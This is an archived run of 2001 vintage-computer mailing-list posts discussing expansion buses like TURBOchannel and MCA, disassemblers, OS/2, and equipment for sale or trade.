Thor 2.6a. G? med i SUGA, Swedish Usergroup of Amiga! WWW: http://swedish.usergroup.amiga.tm/ BBS: 08-6582572, telnet://sua.ath.cx:42512 From optimus at canit.se Thu Jun 28 15:19:34 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: <3B3B5C6C.B9BFF856@internet1.net> Message-ID: <407.579T1700T12795433optimus@canit.se> Chad Fernandez skrev: >Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw >it. I suspect PCI doesn't use jumpers because most cards are, "Plug and >Play". Besides, PCI wasn't around when Microchannel was king of the >corporate world. Zorro was. =? BTW, is ruining people's quoting a hobby of yours? -- En ligne avec Thor 2.6a. optimus@dec:foo$ %blow bash: fg: %blow: no such job From owad at applefritter.com Thu Jun 28 15:08:16 2001 From: owad at applefritter.com (Tom Owad) Date: Sun Feb 27 19:05:02 2005 Subject: FS/T/Free at VCF East or in PA Message-ID: <20010628200816.6364@mail.earthlink.net> This is stuff I really need to get rid of, but really don't want to ship. It can be picked up in south-central PA (that would be wonderful!) or I can take it with me to VCF East. I'm willing to trade (list of things I'm looking for below), will accept cash (it takes up less space than computers), and some of this stuff I just want to get rid of (a number of Apple IIe's and Commodore 64's may very well end up in the trash unless somebody rescues them). Offers of $0 are welcome. I would have waited until closer to VCF, but some of this stuff may seriously end up in the trash. Unless otherwise noted, this stuff is untested/as is and probably not so much as touched by me. Stuff to be rid of: HP 150 w/9133 expansion unit (no kb) DEC 3000 - pizza box style, no RAM/HD, case could be nicer. Zenith Data Systems CP/M system (I didn't see a name, but its a cpu, kb, & monitor in one thing), dual 5.25" floppy drives, Corvus HD. I plugged it in, flicked the switch, and nothing happened. It occured to me there are other computers I'd rather be playing with and I haven't touched it since. CoCo 1's and 2's - no accessories and I'm not sure exactly what I have, definitely at least one CoCo 1 and I couldn't see the labels on the other two. I know they're not III's. DEC Thinwire Ethernet Multiport Repeater Zenith Data Systems laptops (3), 3.5" disk drives, clamshell design, very questionable condition (IIRC I had these all apart at one time), two external battery packs (certainly dead) TRS-80 printer selector interface, printer controller, modem IB, 2 "Mini Disk" 5.25" drives, a bunch of plastic covers for a TRS-80, printers, and drives (one of the drive covers has holes in it) Paradox - manuals and disks Infocipher receivers (3) Tandy Disk Cartridge System w/6 cartridges. It looks like its compatible with the "Bernoulli Box" cartridge system and some of the cartridges are made by Bernoulli (they're about 12"x8", plastic, and very light). This thing's pretty neat. several Commodore 64's, 4 disk drives, printer, cassette recorder, a mess of cables and a number of joysticks (part of mess), a couple of cartridges (incl a modem), a brand new replacement keyboard, a 6" stack of floppy disks, and a bunch of manuals. Apple IIe computers. ImageWriter I's. ImageWriter II's. Lots. Somebody, please take some of these! Mac LC 580's. 8MB RAM, 500MB HD's, ethernet cards, keyboards, mice. $20 apiece. $15 apiece w/out KB & mouse. ImageWriter II included free! ;) What I want: Apple & Mac clones Interesting Apple stuff PERQ/Alto/Star Canon Cat/Swyft Nutek One/Duet NeXT cube Apple II An operating system for a Micro PDP-11 that I can install off 5.25" disks a warehouse Tom Applefritter www.applefritter.com From bdc at world.std.com Thu Jun 28 15:11:07 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:05:02 2005 Subject: Anybody good at disassembly???? In-Reply-To: <4.3.2.7.2.20010628153134.00a9e9d0@popmail.voicenet.com> Message-ID: On Thu, 28 Jun 2001, Gene Ehrich wrote: > I remember back in the early days at IBM right before the 360 was announced > that they were talking in the industry of the possibility of a > disassembler. Most people poo-poo'd it as impossible. Datamation magazine > had a cartoon with a picture of a machine labeled disassembler with a > conveyer belt on each side. A worker was feeding cans of applesauce into > the machine and on the other side apples were coming out. Maybe hindsight is always 20/20, but I don't see why machine code disassembly would be viewed as an impossible task? I mean, weren't people able to look at hex or octal dumps and translate them into the corresponding mnemonics? This generally isn't a task that requires a high IQ, it's basically a simple lookup operation. Hell, the problem is better suited to computer based solutions than it is to people doing it. -brian. From bdc at world.std.com Thu Jun 28 15:17:55 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: <858.579T2100T12805589optimus@canit.se> Message-ID: On 28 Jun 2001, Iggy Drougge wrote: > Brian Chase skrev: > > There's EISA. I thought it was an okay bus while maintaining backwards > > compatibility with ISA. It'd have been more successful if it were > > cheaper. As for other non-jumpered busses, Sun's Sbus is nice. > > EISA is similar to MCA, it's got the same descriptor files, only they're > called INF instead of ADF. Do all EISA and MCA based systems require these? I don't seem to remember having to deal with them on MCA based RS/6000 AIX systems, or say under NetBSD/i386 for an old 80386 EISA box I have. Is it possible that maybe the existence of .ADF and .INF files is just a brain-damaged Microsoft OS requirement? -brian. From optimus at canit.se Thu Jun 28 16:15:43 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:02 2005 Subject: Classic busses (was Re: Whats a reasonable collection?) In-Reply-To: <20010628192521.34688.qmail@web9504.mail.yahoo.com> Message-ID: <1363.579T2150T13355611optimus@canit.se> Ethan Dicks skrev: >--- Chad Fernandez wrote: >> Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw >> it. I suspect PCI doesn't use jumpers because most cards are, "Plug and >> Play". Besides, PCI wasn't around when Microchannel was king of the >> corporate world. >Zorro is the Amiga bus - there are two card sizes/form factors, Zorro >ZorroII. I have seen a "sit-on-the-top" Zorro expander for the Amiga 1000, >but almost anything people are likely to see are ZorroII cards. They >require a ROM or a PAL simulating a ROM to provide a few nybbles of info >about the card - the vendor and type code, what kind of I/O or memory >space it needs, etc. That's the Commodore "AUTOCONFIG" spec which predates >Plug-n-Play by quite a bit. Has the A500/A1000 expansion even been called Zorro? >Turbochannel is the bus I've seen most often with DEC RISC workstations, >although I think they were not the only vendor to use it. The MIPS boxes >and the early Alpha boxes were Turbochannel. Mostly, it was used for >frame buffers, but I think there were one or two non-graphic Turbochannel >cards. I know that there have been at least TC VME expansion chassis, an FDDI adaptor, SCSI and Ethernet. Somehow, we've all been forgetting Nubus as well. That's plug and play enough for me. =) -- En ligne avec Thor 2.6a. From jim at calico.litterbox.com Thu Jun 28 15:25:25 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: <858.579T2100T12805589optimus@canit.se> from "Iggy Drougge" at Jun 28, 2001 09:20:42 PM Message-ID: <200106282025.OAA01071@calico.litterbox.com> Zorro and ZorroII are Amiga busses. Turbochannel is a DEC bus for their old MIPS decstations. > >> > I hate to tell you this, but other buses such as Zorro, PCI or > >> > Turbochannel aren't jumpered either, yet without the need for ADF files. > >> > ADF files are just jumpers on a disk. > > >> Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw > >> it. I suspect PCI doesn't use jumpers because most cards are, "Plug and > >> Play". Besides, PCI wasn't around when Microchannel was king of the > >> corporate world. > > >There's EISA. I thought it was an okay bus while maintaining backwards > >compatibility with ISA. It'd have been more successful if it were > >cheaper. As for other non-jumpered busses, Sun's Sbus is nice. > > EISA is similar to MCA, it's got the same descriptor files, only they're > called INF instead of ADF. > > -- > En ligne avec Thor 2.6a. > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From als at thangorodrim.de Thu Jun 28 15:25:46 2001 From: als at thangorodrim.de (Alexander Schreiber) Date: Sun Feb 27 19:05:02 2005 Subject: Classic busses (was Re: Whats a reasonable collection?) In-Reply-To: <20010628192521.34688.qmail@web9504.mail.yahoo.com>; from ethan_dicks@yahoo.com on Thu, Jun 28, 2001 at 12:25:21PM -0700 References: <3B3B5C6C.B9BFF856@internet1.net> <20010628192521.34688.qmail@web9504.mail.yahoo.com> Message-ID: <20010628222546.A17965@frodo> On Thu, Jun 28, 2001 at 12:25:21PM -0700, Ethan Dicks wrote: > > Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw > > it. I suspect PCI doesn't use jumpers because most cards are, "Plug and > > Turbochannel is the bus I've seen most often with DEC RISC workstations, > although I think they were not the only vendor to use it. The MIPS boxes > and the early Alpha boxes were Turbochannel. Mostly, it was used for > frame buffers, but I think there were one or two non-graphic Turbochannel > cards. Of course there are: I have an Ethernet adapter (10 Mbit) in my DECstation 5000/125 which is a TurboChannel card and AFAIK there also exist some SCSI cards for the TurboChannel. Regards, Alex. -- We have gone from a world of concentrated knowledge and wisdom to one of distributed ignorance. And we know and understand less while being increasingly capable. -- Prof. Peter Cochrane, formerly of BT Labs From owad at applefritter.com Thu Jun 28 15:35:02 2001 From: owad at applefritter.com (Tom Owad) Date: Sun Feb 27 19:05:02 2005 Subject: Apple II programming intro? Message-ID: <20010628203502.11888@mail.earthlink.net> I have a bunch of Apple IIe's I'm planning to give away to kids locally, but not really any software for them, so they'll probably only be used for BASIC programming. Does anybody know of a short guide to programming in BASIC (ideally on the Apple II) that I could print out and include with these systems? Thanks, Tom Applefritter www.applefritter.com From IVIE at cc.usu.edu Thu Jun 28 15:39:51 2001 From: IVIE at cc.usu.edu (Roger Ivie) Date: Sun Feb 27 19:05:02 2005 Subject: Classic busses (was Re: Whats a reasonable collection?) Message-ID: <01K5AY4K36WYCCI13Y@cc.usu.edu> > Did any vendor besides DEC > ever use the turbochannel? The only system vendor I'm aware of is Kubota. There were, of course, many third-party options for TURBOchannel. Roger Ivie ivie@cc.usu.edu From healyzh at aracnet.com Thu Jun 28 15:40:51 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:05:02 2005 Subject: Classic busses (was Re: Whats a reasonable collection?) In-Reply-To: <20010628222546.A17965@frodo> from "Alexander Schreiber" at Jun 28, 2001 10:25:46 PM Message-ID: <200106282040.f5SKepO28190@shell1.aracnet.com> > Of course there are: I have an Ethernet adapter (10 Mbit) in my > DECstation 5000/125 which is a TurboChannel card and AFAIK there also > exist some SCSI cards for the TurboChannel. Take a look at the following for a good list of TurboChannel cards (this is most if not all of them). http://www.netbsd.org/Ports/pmax/models.html Zane From dhquebbeman at theestopinalgroup.com Thu Jun 28 16:00:53 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:05:02 2005 Subject: Anybody good at disassembly???? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151269@jeffserver.tegjeff.com> > On Thu, 28 Jun 2001, Gene Ehrich wrote: > > > I remember back in the early days at IBM right before the 360 was announced > > that they were talking in the industry of the possibility of a > > disassembler. Most people poo-poo'd it as impossible. Datamation magazine > > had a cartoon with a picture of a machine labeled disassembler with a > > conveyer belt on each side. A worker was feeding cans of applesauce into > > the machine and on the other side apples were coming out. > > Maybe hindsight is always 20/20, but I don't see why machine code > disassembly would be viewed as an impossible task? I mean, weren't people > able to look at hex or octal dumps and translate them into the > corresponding mnemonics? This generally isn't a task that requires a high > IQ, it's basically a simple lookup operation. Hell, the problem is better > suited to computer based solutions than it is to people doing it. People still *are* able to look at octal dumps; but since my arms got shorter, all the numbers blend together. So, since I don't think my arms will get longer any time soon, I wrote a dissassembler. Using an unfinished simulator that handles the instruction decoding and welding it into a dump utility that translates from the CDC 60-bit words of Display Code (6-bit character set) gave me a useful disassembler. Technically, it's not a disassembler, rather, it's just an opcode dump. I need to add a scripting ability that I can use to specify data areas that should not get tramslated into opcodes. Funny thing, when I first started doing this 25 years ago, I did just take an octal dump and disassemble it by hand. Regards, -doug q From mikeford at socal.rr.com Thu Jun 28 15:25:46 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:05:03 2005 Subject: MCArchitect (was: Whats reasonable... In-Reply-To: <003f01c0ffd8$ec6f2660$8a0101ac@ibm23xhr06> References: <7A9BACCEF0171D4FB77019F5104CDD37151254@jeffserver.tegjeff.com> Message-ID: >I put some effort into the Peddle/MCA issue and found nothing yet. >Personally I'd be mildly surprised if an individualist like CP would've >been found at IBM at the time. I checked BYTEs 6/87,7/87 and found I made a quick check of the patent office and Charles Peddle had patents in 1987 and 1990 that were assigned to Tandon, and 1981 assigned to Motorola. Here is a link to those 10/100 MCA cards From pete at dunnington.u-net.com Thu Jun 28 15:44:42 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:05:03 2005 Subject: Cruel Fates & The Exidy Sorcerer In-Reply-To: "David Williams" "Cruel Fates & The Exidy Sorcerer" (Jun 28, 10:58) References: <3B3B0DCF.11510.651A02@localhost> Message-ID: <10106282144.ZM5305@mindy.dunnington.u-net.com> On Jun 28, 10:58, David Williams wrote: > I just received an email from someone who just threw away 3 > working Exidy Sorcerer's because they thought they'd never hear > anything about them ever again. THEN they found my website. > The fates mock me. :-( :-( Give me their address so I can go round and "re-educate" them > Well the good news is they may still have some Sorcerer > newsletters they produced which I've asked to place on the site so > I guess it isn't all bad. US, UK, or other European? BTW, I'm still looking for a (photo)copy (or PDF) of the manual for the WP Pac, docs and/or ROMs (images will do) for the DEV PAC, and a working copy of pacman (mine is corrupt). -- Pete Peter Turnbull Network Manager University of York From pechter at bg-tc-ppp1297.monmouth.com Thu Jun 28 16:13:56 2001 From: pechter at bg-tc-ppp1297.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? In-Reply-To: from "r. 'bear' stricklin" at "Jun 28, 2001 02:54:26 pm" Message-ID: <200106282113.f5SLDvE15068@bg-tc-ppp1297.monmouth.com> > I am an ex-bitter-OS/2-user and recovering former-Team-OS/2-member. There > are features of OS/2 which I think still haven't been fully realized in > other platforms (dig that SOM/Workplace Shell integration), but on the > whole OS/2 lacked polish. The world has moved on, and I'm okay with that. > > ok > r. Well, Warp4 seemed more polished and they finally added DHCP support and stuff... I'm still keeping Connect and Aurora (Warp4) alive here. I'd be running the 4.5 stuff if it wasn't too expensive. I'd liked a cross between OS/2 and VAX/VMS... maybe with FreeBSD thrown in. Always liked OS/2 and always will. IBM was screwed by M$ who kept changing Win32 and keeping new apps from running on OS/2. NT/2000 still isn't as SysAdmin friendly as either OS/2, VAX/VMS or Unix/Linux. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From cmcmanis at mcmanis.com Thu Jun 28 16:25:03 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:03 2005 Subject: Anybody good at disassembly???? In-Reply-To: <4.3.2.7.2.20010628153134.00a9e9d0@popmail.voicenet.com> References: <3B3BAAB9.97603A9@atari-history.com> <000d01c10001$2aec96c0$9cc762d8@idcomm.com> Message-ID: <5.0.0.25.2.20010628142130.023b0c70@209.185.79.193> At 03:35 PM 6/28/01 -0400, Gene wrote: >I remember back in the early days at IBM right before the 360 was >announced that they were talking in the industry of the possibility of a >disassembler. Most people poo-poo'd it as impossible. They are not only possible but useful diagnostic tools. Using them is also illegal under the millennium copyright act but that is a different rant. For PIC architectures they are particularly easy because all op-codes are single words and it is a strict Harvard architecture machine (separate I and D spaces). Thus a dump of program memory, knowledge of the reset condition (does it start @ 0 or 0x1fff) and a look up table and you're off to the races. --Chuck From IVIE at cc.usu.edu Thu Jun 28 16:22:48 2001 From: IVIE at cc.usu.edu (Roger Ivie) Date: Sun Feb 27 19:05:03 2005 Subject: Classic busses (was Re: Whats a reasonable collection?) Message-ID: <01K5AZBDZUMQCIQS0Q@cc.usu.edu> > >Turbochannel is the bus I've seen most often with DEC RISC workstations, > >although I think they were not the only vendor to use it. The MIPS boxes > >and the early Alpha boxes were Turbochannel. Mostly, it was used for > >frame buffers, but I think there were one or two non-graphic Turbochannel > >cards. > > I know that there have been at least TC VME expansion chassis, an FDDI > adaptor, SCSI and Ethernet. A company I used to work for produced a VME expansion chassis, serial ports, parallel ports, T1, MIL-STD-1553, a real-time clock, and did some initial work on IEEE-488. I was the only device driver guy, and I supported most of these (exceptions being VME (supported by DEC) and IEEE-488 (DEC did a device driver, but I was too busy to document and package it; had I not been too busy, _I_ would have written the driver to begin with) under Ultrix, OSF/1, Alpha/VMS, and VAX/VMS. I did a device driver for one of the modules under MIPS/OSF/1, but that never went anywhere because DEC pulled the plug on that OS (I do have tapes somewhere, though). I did some work with another company's TC QBus expansion chassis and I designed the TC adapter for the VAXstation 4000/60 and /90. I'm aware of other TC VMEbus expansion chassis (DEC had one, as did Bit3), other serial and parallel ports (Magma), and several other options. TURBOchannel was very easy to interface to; the bus interface on most of our options consisted of a rank of registered bus transceivers and a PAL22V10. I once built a bus torture device from a rank of registered bus transceivers and an AM29CPL154; with only those five parts, I could exercise the entire bus protocol, including determining the maximum DMA burst length. PCI, on the other hand, requires some pretty complex state machines. Roger Ivie ivie@cc.usu.edu From IVIE at cc.usu.edu Thu Jun 28 16:29:34 2001 From: IVIE at cc.usu.edu (Roger Ivie) Date: Sun Feb 27 19:05:03 2005 Subject: Classic busses (was Re: Whats a reasonable collection?) Message-ID: <01K5AZPSEL3GCIQS0Q@cc.usu.edu> > Take a look at the following for a good list of TurboChannel cards (this is > most if not all of them). > > http://www.netbsd.org/Ports/pmax/models.html It may be most, but it's definitely not all of them, even if you restrict yourself to DEC options. In addition to the DEC VMEbus adapter I mentioned in another message, there was also an A.Open (I think that's the name; the mutilation of I2C DEC used for keyboards and mice on the 5000/25) adapter. I know DEC did some serial ports, although I don't think they sold them; when I asked for info on doing serial port drivers for Ultrix, they dredged up code for a TURBOchannel serial interface from the bowels of some Ultrix lab. There was also some audio interface they used as an example implemenation in some paper somewhere. Roger Ivie ivie@cc.usu.edu From optimus at canit.se Thu Jun 28 17:05:09 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: <955.579T450T13854327optimus@canit.se> Brian Chase skrev: >On 28 Jun 2001, Iggy Drougge wrote: >> Brian Chase skrev: >> > There's EISA. I thought it was an okay bus while maintaining backwards >> > compatibility with ISA. It'd have been more successful if it were >> > cheaper. As for other non-jumpered busses, Sun's Sbus is nice. >> >> EISA is similar to MCA, it's got the same descriptor files, only they're >> called INF instead of ADF. >Do all EISA and MCA based systems require these? I don't seem to remember >having to deal with them on MCA based RS/6000 AIX systems, or say under >NetBSD/i386 for an old 80386 EISA box I have. While I haven't got any RS/6000 experience, I don't get as far being able to boot any OS without a proper reference partition on my Compaq EISA server. >Is it possible that maybe the existence of .ADF and .INF files is just a >brain-damaged Microsoft OS requirement? Nope, it's a braindead IBM/PC industry requirement. -- En ligne avec Thor 2.6a. From optimus at canit.se Thu Jun 28 17:05:43 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? In-Reply-To: <200106282025.OAA01071@calico.litterbox.com> Message-ID: <177.579T2150T13855987optimus@canit.se> Jim Strickland skrev: >Zorro and ZorroII are Amiga busses. Turbochannel is a DEC bus for >their old MIPS decstations. And old Alphas as well. =) -- En ligne avec Thor 2.6a. From mikeford at socal.rr.com Thu Jun 28 17:05:20 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:05:03 2005 Subject: Apple II programming intro? In-Reply-To: <20010628203502.11888@mail.earthlink.net> Message-ID: >I have a bunch of Apple IIe's I'm planning to give away to kids locally, >but not really any software for them, so they'll probably only be used Without software they won't be used at all, couple hours on a table, couple days leaning against a wall, into the dumpster. I don't mean to be harsh, but I have owned an Apple II without software and every moment really really sucked. Make up a little software package, get the kids trading etc. with each other. From bdc at world.std.com Thu Jun 28 17:16:36 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:05:03 2005 Subject: Classic busses (was Re: Whats a reasonable collection?) In-Reply-To: <20010628222546.A17965@frodo> Message-ID: On Thu, 28 Jun 2001, Alexander Schreiber wrote: > On Thu, Jun 28, 2001 at 12:25:21PM -0700, Ethan Dicks wrote: > > Turbochannel is the bus I've seen most often with DEC RISC workstations, > > although I think they were not the only vendor to use it. The MIPS boxes > > and the early Alpha boxes were Turbochannel. Mostly, it was used for > > frame buffers, but I think there were one or two non-graphic Turbochannel > > cards. > > Of course there are: I have an Ethernet adapter (10 Mbit) in my > DECstation 5000/125 which is a TurboChannel card and AFAIK there also > exist some SCSI cards for the TurboChannel. This is a partial list of things I could find on the web. AV300-AA Audio/Video Capture Card KZTSA Fast-Wide-Diff SCSI CITCA CI Cluster Interface DEFTA FDDI Adapter (fiber) DEFZA FDDI Adapter (copper) DGLTA ATM Adapter DETRA Token-Ring Adapter PMAZB Dual SCSI Controller PMAZC Dual Fast SCSI Controller There's also a lot of stuff listed in the NetBSD TURBOChannel device header file "syssrc/sys/dev/tc/tcdevs.h". In addtion to their MIPS and Alpha systems, later model DEC VAXstation systems (4000 series) also used TURBOChannel as a bus. -brian. From optimus at canit.se Thu Jun 28 18:08:18 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? In-Reply-To: <200106282113.f5SLDvE15068@bg-tc-ppp1297.monmouth.com> Message-ID: <464.580T900T84861optimus@canit.se> Bill Pechter skrev: >I'd liked a cross between OS/2 and VAX/VMS... maybe with FreeBSD >thrown in. Isn't that Windows NT? >Always liked OS/2 and always will. IBM was screwed by M$ who kept >changing Win32 and keeping new apps from running on OS/2. So what? OS/2 is OS/2 and Windows is Windows. You can't just rely on some other OS vendor to supply you with the right API and applications. -- En ligne avec Thor 2.6a. Age is a high price to pay for maturity. From jhfine at idirect.com Thu Jun 28 17:21:59 2001 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 19:05:03 2005 Subject: Anybody good at disassembly???? References: <000d01c10001$2aec96c0$9cc762d8@idcomm.com> <4.3.2.7.2.20010628153134.00a9e9d0@popmail.voicenet.com> <3B3BB72A.E5DB8F03@atari-history.com> Message-ID: <3B3BAE06.2C907706@idirect.com> >Curt Vendel wrote: > There are tons of disassemblers available for current moderm PIC MCU's, the > most popular being the PIC1684. > >Gene Ehrich wrote: > > I remember back in the early days at IBM right before the 360 was announced > > that they were talking in the industry of the possibility of a > > disassembler. Most people poo-poo'd it as impossible. Datamation magazine > > had a cartoon with a picture of a machine labeled disassembler with a > > conveyer belt on each side. A worker was feeding cans of applesauce into > > the machine and on the other side apples were coming out. Jerome Fine replies: I realize this will not help your specific problem, but I want to add that there are two basic types of disassembler: (a) Those that start from the final executable file - probably the majority (b) Those that start from the OBJ file. For the PDP-11, about the best program that I use is DECODE with a few enhancements - the most important being the ability to allow an odd address label in the case of an .Ascii text definition. Also helpful for RT-11 users is a comment inserted when an expansion for an EMT macro like .LookUp is found or .ReadF or many others. There is also the start of some code to handle overlays, but not complete. DISSAV is also available. For the second type (b), there is UNMAC which also has some enhancements that allow UNMAC to be applied to itself. Specifically, even though the original source is in FORTRAN 77, the OBJ files can be put through UNMAC to produce a *.MAC file that can be assembled via MACRO to produce a slightly different OBJ file but which then LINKs to produce a final SAV file that is identical to the original UNMAC.SAV file produced from the OBJ files that were produced by the FORTRAN 77 compiler in the first place. Note that the original UNMAC could not do that without substantial intervention by hand if at all. By the way, while I realize that most members of this list are focused toward hardware, the few of us who like software do not seem to mention it very much, as if software is not important. Perhaps those of you who are the hardware type could explain to me why the software holds so little interest. While I agree that the hardware is needed to run the software (well not actually anymore in the case of a PDP-11), I have never seen anything useful from a system that has dumb software. But why does someone feel that the solution is complete when the hardware is working? Sincerely yours, Jerome Fine From cfandt at netsync.net Thu Jun 28 17:27:07 2001 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 19:05:03 2005 Subject: 2 awesome days of awesome finds! In-Reply-To: References: Message-ID: <4.1.20010628181937.00c3abc0@206.231.8.2> Upon the date 02:36 AM 6/27/01 -0700, Mike Ford said something like: >>works and he said that "they could fill my pickup" with minicomputers! I now >>own 10 minis with blinkenlights.. and only 1 of them is DEC! YAY! > >Sometimes I wonder just how many people read this list and just melt into a >puddle of green envy. Me, for one, dammit. BTW, Lucky Will, ( ;-) ) I have not had a chance to address your email of some time ago regarding the remaining DEC gear you indicated you wanted. I've got a few days vacation (Yay !!!! ) next week and I'll try to write in reply. Bev and I MUST clean out the garage because of an upcoming garage sale we want to hold plus my need to clear out that danged expensive storage locker I'm renting for other stuff of mine -of which said contents will go into the newly-cleared garage (much to Bev's chagrin, I might add :-/ ). Gotta run now . . . Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.antiquewireless.org/ From donm at cts.com Thu Jun 28 17:29:09 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:05:03 2005 Subject: Xerox 820 In-Reply-To: Message-ID: On Thu, 28 Jun 2001, Rich Beaudry wrote: > Hello all, > > Recently I acquired a Xerox 820, but as a single board, w/ power supply. I > also received many docs (including a tech manual with Monitor listings and > schematics). I know originally these were "all-in-one" computers, but many > appear at ham fests in exactly the same shape as mine -- as a single board > computer. > > Of course, hooking a terminal up to it produces nothing (even testing at > different baud rates/parity/stop bits, etc), so I'm wondering: > > - Are there any modifications (ROM or jumpers) to "convert" this to use the > serial port for a console, rather than the keyboard and video display? I > couldn't find anything in my docs, but of course, I have not read them in > depth yet. Rich, the only scheme that I can think of that might work would be to prepare a boot disk that contained an auto-start Submit file that would instruct STAT to change the IOBYTE. One problem is that I do not know for certain that the IOBYTE was implemented in the 820. I know that it was in the 820-II, however. - don > In return, I could offer copies of the docs, or thanks to 22NICE and my > Compaticard (thanks Don!), copies of the files on the diskettes (CP/M, "Word > Processor", "Diagnostics", "Training Files" and "Program Files"), or images > of the disks (assuming Teledisk could do it -- I haven't tried that yet). > The disks are 5.25", SSSD > > Thanks! > > Rich B. > > From jhellige at earthlink.net Thu Jun 28 17:49:17 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? In-Reply-To: <464.580T900T84861optimus@canit.se> References: <464.580T900T84861optimus@canit.se> Message-ID: > >I'd liked a cross between OS/2 and VAX/VMS... maybe with FreeBSD >>thrown in. >Isn't that Windows NT? You know, I still can't believe how lame 95/98/NT is when it comes to software installs. It's unreal how many times the only way to fully remove errors caused by an errant piece of software is to go into the registry directly because the program in question didn't put itself into the 'install/uninstall' area. Yahoo Messenger is a good one for this. NT may look more polished than OS/2 but after the two split off from the same root, somewhere along the way NT got screwed up pretty good. OS/2 still beats it in the stability dept. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From rhblake at bigfoot.com Thu Jun 28 18:09:27 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:05:03 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <20010628192950.78992.qmail@web9506.mail.yahoo.com> Message-ID: I've gotten tons of stuff like that from my last two employers - offered to test and/or repair for some overtime but they just wanted to get rid of the stuff. I presently have a Dell 17" monitor I use in the shop that was thrown out by day shift and I reclaimed - needed a tweek on the brightness pot and it's been fine for the last year. Like wise I got 2 4.3gb Microplis SCSI drives that were "defective" but only needed someone that knew how they are supposed to be terminated to make them work right. They're my main drives for my RAID array in my Dell 486 server (with Kingston Turbochip 133). -> -----Original Message----- -> From: owner-classiccmp@classiccmp.org -> [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Ethan Dicks -> Sent: Thursday, June 28, 2001 2:30 PM -> To: classiccmp@classiccmp.org -> Subject: Re: X-10 (was Re: controlling power) -> > I pawed through the boxes, too, but after seeing "reject" written on -> > 80% of the items, I opted not to waste any more time. -> -> Me, too, although I have bought items at Dayton marked -> "defective" - got a -> 3Com 3c905 that way for free - the seller threw it in as a -> freebie because -> I bought _something_ from him - took it home, plugged it in and am still -> using it. I suspected that the thing that was most likely to be -> defective -> was the bench-tech who tested it. I was right. Doesn't mean I want to -> test 200 lamp modules, though. -> -> -ethan From ard at p850ug1.demon.co.uk Thu Jun 28 17:50:38 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:03 2005 Subject: A little HP9877 info In-Reply-To: <5.1.0.14.1.20010628114842.00a715c0@mailhost.intellistar.net> from "joe" at Jun 28, 1 11:55:09 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2318 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010628/06bdd053/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jun 28 17:26:43 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection?[D In-Reply-To: from "Russ Blakeman" at Jun 28, 1 07:37:03 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 503 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010628/d7ab6d46/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jun 28 17:54:37 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:03 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <20010628175325.39726.qmail@web9501.mail.yahoo.com> from "Ethan Dicks" at Jun 28, 1 10:53:25 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 713 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010628/aac2ab26/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jun 28 17:57:41 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:03 2005 Subject: HP2748A papertape reader : connector ? In-Reply-To: <01062821272400.00371@jos> from "jos.mar" at Jun 28, 1 09:22:23 pm Message-ID: A non-text attachment was 